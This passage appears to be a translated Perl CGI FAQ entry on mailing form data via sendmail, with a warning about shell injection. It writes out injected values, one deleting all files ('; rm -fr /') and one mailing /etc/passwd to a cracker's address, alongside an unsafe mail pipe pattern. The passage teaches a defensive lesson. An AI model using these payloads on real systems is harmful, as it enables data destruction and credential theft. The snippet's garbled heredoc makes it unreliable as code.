其實(shí)做這個(gè)很容易。您的 CGI script 必須能做到這兩件事:
將 form 中的資料整理出來(lái)。別忘了,所有的 form 資料都會(huì)被 URL-編碼起來(lái) (先不考慮 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME資料)。
開一個(gè)管路 (pipe) 到 mail (或 sendmail ),然後把 form 資料寫過(guò)去。
我們就假設(shè)您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail:
$cgi_form = new CGI::Form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open SENDMAIL, " /usr/bin/sendmail -t -n";
print SENDMAIL <
From: $from <$name>
To: $to
Reply-To: $from
Subject: $subject
$message
End_of_Mail
有一個(gè)該注意的地方是 ``Reply-To:'' 的信頭。由於 server 是以 ``nobody''這 個(gè)使用者的身份來(lái)跑,信頭的地方可能會(huì)被搞壞(尤其是當(dāng)有人想回這封信的時(shí)後)。 加上 ``Reply-To'' 的信頭這個(gè)問(wèn)題便解決了。
網(wǎng)路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來(lái)送 mail:
【譯者】gateway 在此指送 email 的 CGI 程式
open MAIL, " mail -s 'Subject' $to"; +-- 可能會(huì)出問(wèn)題的漏洞?。?!
如果您沒有先檢查看 $to 這個(gè)變數(shù)有沒有內(nèi)含 shell 的特殊符號(hào) (metacharacters),您是在自討苦吃!譬如,如果哪個(gè)惡劣的 user 輸入了以下的資 料:
; rm -fr / ;
那麼您的麻煩可大了*。
【譯者】這里頭的 ``;'' 便是一個(gè)危險(xiǎn)的 shell metacharacter。另一個(gè)危險(xiǎn)的符號(hào)是 ``&''。
在這個(gè)假想的情況中,有多少個(gè)檔案會(huì)被遠(yuǎn)方的 user 給殺掉,還得視 server 跑的使用者的權(quán)限而定(這就是為什麼 server 要以低權(quán)限使用者身份跑的原因)。 至少那些由 CGI 程式制造出來(lái),但又沒有備份的檔案,是真的要跟它們永別了。
; mail joe@crackerland.org
那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對(duì)一個(gè)「未加工」的 Linux、SunOS 4.1,還有其他任何沒安裝 shadow-password 的 UNIX 系統(tǒng)來(lái)說(shuō), 實(shí)在不太好玩。如果 server 錯(cuò)誤地跑了 root,那麼就算裝了 shadow-password 也沒有用,因?yàn)檫h(yuǎn)方的 cracker 甚至可以讓這個(gè) CGI 的 email script 給他送 /etc/shadow (視系統(tǒng)而定,不一定在 /etc 底下或叫這個(gè)名字)。